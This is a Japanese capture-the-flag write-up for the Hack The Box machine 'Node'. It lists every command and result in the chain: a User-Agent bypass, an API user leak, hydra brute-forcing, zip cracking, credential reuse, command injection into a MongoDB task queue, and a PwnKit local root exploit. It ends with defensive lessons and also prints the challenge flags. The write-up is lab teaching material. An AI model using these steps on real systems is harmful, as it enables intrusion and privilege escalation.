Hack The BoxのWriteup(Node)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Node — 全実行コマンド・実行結果レポート
Nmap スキャン
22/3000
UAバイパス + /api/users 漏洩
管理者ユーザー名特定
hydra JSON POSTブルートフォース
manchester
バックアップDL + fcrackzip
MongoDB接続文字列流用
SSH mark
資格情報の使い回し
MongoDBタスク注入
SUID+SGID bashコピー
tomシェル
user.txt ✓
CVE-2021-4034 (PwnKit)
pkexec 0.105
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 3000 -T4 10.129.61.206
nmap -sV -sC -p 22,3000 10.129.61.206
RESULT
PORT     STATE SERVICE
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
3000/tcp open  ppp

Nmap done: 1 IP address (1 host up) scanned

3000番ポートは User-Agent フィルタリングされている

BASH
# デフォルトUser-Agent (curlそのまま) だと空応答/簡素な応答しか返らない
curl -s http://10.129.61.206:3000/

# ブラウザ風User-Agentを付与すると正常なページが返る
curl -s -A "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36" http://10.129.61.206:3000/
RESULT (ブラウザUA)
<html lang="en" ng-csp="" ng-app="myplace">
  ...
  <title>MyPlace</title>
  ...
🚨
重要発見: AngularJSベースの “MyPlace” という Node.js/Express アプリ。 以降のすべてのリクエストでブラウザ風User-Agentの付与が必須
PHASE 2

/api/users 情報漏洩 & hydra JSON POST ブルートフォース

/api/users/ が全ユーザーを認証なしで公開

BASH
curl -s -A "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36" \
  http://10.129.61.206:3000/api/users/ | python3 -m json.tool
RESULT (抜粋)
[
  { "username": "tom",  "password": "...", "is_admin": false },
  { "username": "mark", "password": "...", "is_admin": false },
  { "username": "myP14ceAdm1nAcc0uNT", "password": "...", "is_admin": true }
]
🚨
認証なしで全ユーザーのusernameとパスワードハッシュが列挙できる。 is_admin:true の管理者ユーザー名 myP14ceAdm1nAcc0uNT を特定。

hydra で /api/session/authenticate の JSON POST をブルートフォース

BASH
hydra -l myP14ceAdm1nAcc0uNT -P /usr/share/wordlists/rockyou.txt \
  10.129.61.206 -s 3000 http-post-form \
  '/api/session/authenticate:{"username"\:"^USER^","password"\:"^PASS^"}:H=Content-Type\: application/json:F={"success"\:false}' \
  -t 64
RESULT
[3000][http-post-form] host: 10.129.61.206   login: myP14ceAdm1nAcc0uNT   password: manchester
1 of 1 target successfully completed, 1 valid password found
⚠️
hydra の http-post-form モジュールの落とし穴: このモジュールは : を フィールド区切り文字として扱うため、JSONボディ中のリテラルな: (キーと値の間の区切り) や、ヘッダ値中の Content-Type: application/json:も、 すべて \: でエスケープしないとパースエラーになる。 さらに、実際のサーバーの失敗時レスポンスは {"success":false} のみを返し、 文字列 "Authentication failed" は一切出現しない。この文字列を失敗条件に 使うと F=条件が永遠にマッチせず全試行が「valid password found」と誤検出される (実際に “test123” 等の明らかな誤りパスワードでも成功と誤判定することを確認)。 正しい失敗条件文字列は F={"success"\:false}。また条件文字列は 必ずオプション引数(H=等)より後ろに置く必要がある。
PHASE 3

バックアップダウンロード & fcrackzip & SSH認証情報の使い回し

管理画面ログイン & バックアップダウンロード

BASH
# ログイン (クッキーを保存)
curl -s -c cookies.txt -A "Mozilla/5.0 ..." \
  -X POST -H "Content-Type: application/json" \
  -d '{"username":"myP14ceAdm1nAcc0uNT","password":"manchester"}' \
  http://10.129.61.206:3000/api/session/authenticate

# admin.html の "Download Backup" ボタンが呼ぶAPIエンドポイントを
# assets/js/app/controllers/admin.js から特定 (ng-click="backup()")
curl -s -A "Mozilla/5.0 ..." http://10.129.61.206:3000/assets/js/app/controllers/admin.js
# → $window.open('/api/admin/backup', '_self');

# バックアップ取得 (約3.4MBのbase64テキスト)
curl -s -b cookies.txt -A "Mozilla/5.0 ..." \
  http://10.129.61.206:3000/api/admin/backup -o myplace_backup.b64
⚠️
実機で確認した重大な不安定性: このエンドポイントの応答(約3.4MB, HTTPヘッダの Content-Length: 3459880)は、VPN経路上で転送中に高確率で 途中で接続が切れる(IncompleteRead)。帯域制限をかけても改善せず、 単純に何度も取り直す必要がある一過性のネットワーク不安定性であることを確認した (成功するまで数回〜数十回の再試行が必要な場合がある)。 Content-Length ヘッダと実際の受信バイト数を突き合わせて完全性を検証すること。

base64 デコード → zip 化 → fcrackzip でパスワードクラック

BASH
base64 -d myplace_backup.b64 > myplace_backup.zip
unzip -l myplace_backup.zip   # → パスワード保護されていることを確認

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u myplace_backup.zip
RESULT
PASSWORD FOUND!!!!: pw == magicword

app.js の MongoDB 接続文字列から SSH 認証情報を抽出

BASH
unzip -P magicword myplace_backup.zip "var/www/myplace/app.js"
grep -n "mongodb://" var/www/myplace/app.js
RESULT
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
BASH (資格情報の使い回しを確認)
ssh mark@10.129.61.206
# Password: 5AYRft73VtFpc84k
RESULT
uid=1001(mark) gid=1001(mark) groups=1001(mark)
SSHログイン成功。 アプリの MongoDB 接続用パスワードが、 そのまま OS ユーザー mark の SSH パスワードとして使い回されている。
PHASE 4

MongoDB タスク注入によるmark→tom権限昇格 & user.txt

tom 権限で稼働するスケジューラサービスを発見

BASH
mark@node:~$ ps aux | grep node
RESULT
tom   1278  0.0  6.1 ...  /usr/bin/node /var/scheduler/app.js
tom   1284  0.0  9.1 ...  /usr/bin/node /var/www/myplace/app.js
BASH (scheduler の app.js を閲覧)
mark@node:~$ cat /var/scheduler/app.js
RESULT
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?...';
setInterval(function () {
  db.collection('tasks').find().toArray(function (error, docs) {
    docs.forEach(function (doc) {
      exec(doc.cmd);
      db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
    });
  });
}, 30000);
🚨
重大発見: mark の MongoDB パスワードが scheduler データベースにも 再利用されている。tasks コレクションに cmd フィールドを持つドキュメントを 挿入すると、30秒ごとに tom 権限でそのまま exec() される。

タスク注入で SUID+SGID bash コピーを作成

BASH
mark@node:~$ mongo -u mark -p '5AYRft73VtFpc84k' scheduler --eval '
  db.tasks.insert({cmd: "/bin/cp /bin/bash /tmp/tom; /bin/chown tom:admin /tmp/tom; chmod g+s /tmp/tom; chmod u+s /tmp/tom"})
'
# 30秒待機後...
mark@node:~$ ls -la /tmp/tom
RESULT
-rwsrwsrwx 1 tom admin 1037528 ... /tmp/tom
ℹ️
グループ所有者を tom:tom ではなく tom:adminにする点が重要 (後述のPwnKit採用前に検討した/usr/local/bin/backup SUIDバイナリが adminグループの実行権限を要求するため)。SUID+SGIDの両ビットを立てた bashコピーは、実行時の実効UID/GIDをtom/adminに変更する。

user.txt 取得

BASH
mark@node:~$ /tmp/tom -p -c 'cat /home/tom/user.txt'
RESULT
475c01c7e9c76f2649fc4832606d6407
user.txt — mark → tom (SUID bashコピー経由)
475c01c7e9c76f2649fc4832606d6407
ℹ️
bash -p-p (privileged mode) は、bashが自動的にeuidをruidへ ドロップする通常のセキュリティ機構を抑止するために必須。
PHASE 5

CVE-2021-4034 (PwnKit) → root.txt

当初の想定ルート: /usr/local/bin/backup SUID の ret2libc (断念)

NOTE
/var/www/myplace/app.js から抽出した64桁hexトークンを使い、
/usr/local/bin/backup (SUID root) の第3引数(path)に508バイト以上を渡すと
スタックBOFでセグフォルトすることを実機で確認した(-iフラグ必須、
507バイトまでは安全/508バイトでクラッシュを精密に確認済み)。

ASLR+NX環境のためret2libc(system+exit+"/bin/sh")が必要となるが、
padding候補(495〜528の全整数)×libcベースアドレス広範囲(±1MB、
数千通り)の組み合わせを実機で総当りしても成功せず、ローカル環境
(同一バイナリ+同一libc+同一ローダーを明示的に指定)での再現も
うまくいかなかった。この経路は理論上は正しいはずだが、ブラックボックス
環境での正確なスタックレイアウト特定が困難で、実用的な時間内での
突破を断念した。
⚠️
この試行錯誤の過程で得られた資格情報 (backup SUIDの認証トークン等) は 実際の攻略には使わなかったが、/tmp/tom をSUID+SGID(tom:admin)にする 判断は、この経路を見据えた副産物として残っている。

pkexec バージョン確認 → CVE-2021-4034 該当

BASH
mark@node:~$ pkexec --version
mark@node:~$ dpkg -l | grep policykit
RESULT
pkexec version 0.105
ii  policykit-1   0.105-14.1   amd64   framework for managing administrative policies and privileges
🚨
PwnKit (CVE-2021-4034) 該当: polkitのpkexecは0.120で修正されるまで、 ほぼ全てのLinuxディストリビューションに存在する深刻なローカル権限昇格脆弱性を抱えていた。 バージョン0.105は明確に脆弱。lxd/dockerグループ等の追加条件は一切不要で、 任意のローカルユーザー(ここでは mark)から直接root化できる。

PwnKit エクスプロイトのコンパイル & 実行

BASH (Kali側でコンパイル)
# exploit.c: GCONV_PATH トリックで pkexec に悪意ある gconv モジュールを
# ロードさせる定番のPwnKit PoC (公知の手法、Qualys/blastyのPoCに準拠)
gcc -static -o exploit exploit.c

# evil.so: gconv_init() で setuid(0) 後 /bin/sh を起動
gcc -shared -fPIC -o evil.so evil-so.c

scp exploit evil.so mark@10.129.61.206:/tmp/
BASH (ターゲット側で実行)
mark@node:~$ chmod +x /tmp/exploit
mark@node:/tmp$ ./exploit
mark@node:/tmp$ cat /tmp/.node_pwnkit_out
RESULT
b088823ac0773474bc599ab028ed7853
root.txt — via CVE-2021-4034 (PwnKit)
b088823ac0773474bc599ab028ed7853
root化成功。 検証後、evil.so を無害なクリーンアップ用ペイロード (ハングした調査用プロセスの後始末、テストファイルの削除) に差し替えて ./exploit を再実行し、root権限で痕跡を消去した。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — mark → tom
475c01c7e9c76f2649fc4832606d6407
root.txt — root@node (via PwnKit)
b088823ac0773474bc599ab028ed7853

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
認証なしAPI情報漏洩 /api/users/ (User-Agentフィルタで守られているつもり) 全ユーザー名・管理者アカウントの露出 Medium ブラウザ風User-Agent付与のみで認証なしにアクセス可能
弱い管理者パスワード Node.js管理者アカウント 管理画面への不正ログイン High hydraによるJSON POSTブルートフォース(rockyou.txt)で数十秒で突破
パスワードのハードコード & 使い回し app.js内MongoDB接続文字列 SSH認証情報の漏洩 High zipクラック後、平文MongoDBパスワードがOSユーザーのSSHパスワードと同一と判明
MongoDBタスクキューへの任意コマンド注入 schedulerデータベース (tasks コレクション) tomユーザーへの権限昇格 Critical 再利用された認証情報でMongoDBに直接接続し、exec()されるタスクドキュメントを挿入
CVE-2021-4034 (PwnKit) pkexec 0.105 (policykit-1) ローカルユーザーからrootへの権限昇格 Critical GCONV_PATH経由の悪意あるgconvモジュールロードでsetuid(0)を実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + UAフィルタ発見22/3000のみオープン、Node.js/Express “MyPlace”
2情報漏洩&認証/api/users列挙 + hydraブルートフォースmyP14ceAdm1nAcc0uNT / manchester
3バックアップ解析fcrackzip + app.js解析mark / 5AYRft73VtFpc84k (SSH)
4権限昇格 (mark→tom)MongoDBタスクキュー注入user.txt 取得
5権限昇格 (→root)CVE-2021-4034 (PwnKit)root.txt 取得

学んだ教訓 & 防御策

問題点防御策
User-Agentフィルタリングを「アクセス制御」として使用 User-Agentは容易に偽装できるため認証・認可の代替にならない。正規の認証機構(セッション/トークン検証)で保護する。
認証不要のAPIエンドポイントが機密情報(ユーザー名一覧・管理者フラグ)を露出 すべてのAPIエンドポイントで適切な認可チェックを実施し、最小権限の原則に従い必要な情報のみ返す。
管理者パスワードがrockyouレベルの辞書で短時間にクラックされる 強力なパスワードポリシー、ログイン試行回数制限、多要素認証の導入。
アプリケーションコード内にDB接続パスワードを平文でハードコードし、かつOSユーザーのパスワードと共用 シークレットは環境変数やシークレット管理システムで扱い、サービスアカウントとOSログインアカウントのパスワードを分離する。
root権限のNode.jsサービスが外部から書き込み可能なDBコレクションの内容をそのままexec()する タスクキューのような仕組みでは、実行可能なコマンドをホワイトリスト化するか、少なくともタスク投入元の認可を厳格に検証する。任意コマンド実行を許す設計自体を避ける。
polkit (pkexec) が既知の重大脆弱性(CVE-2021-4034)を含む古いバージョンのまま放置 OSパッケージを定期的にパッチ適用する。特にsetuidバイナリを含むコンポーネントは脆弱性情報を継続的に監視する。
HackTheBox: Node | 完全攻略レポート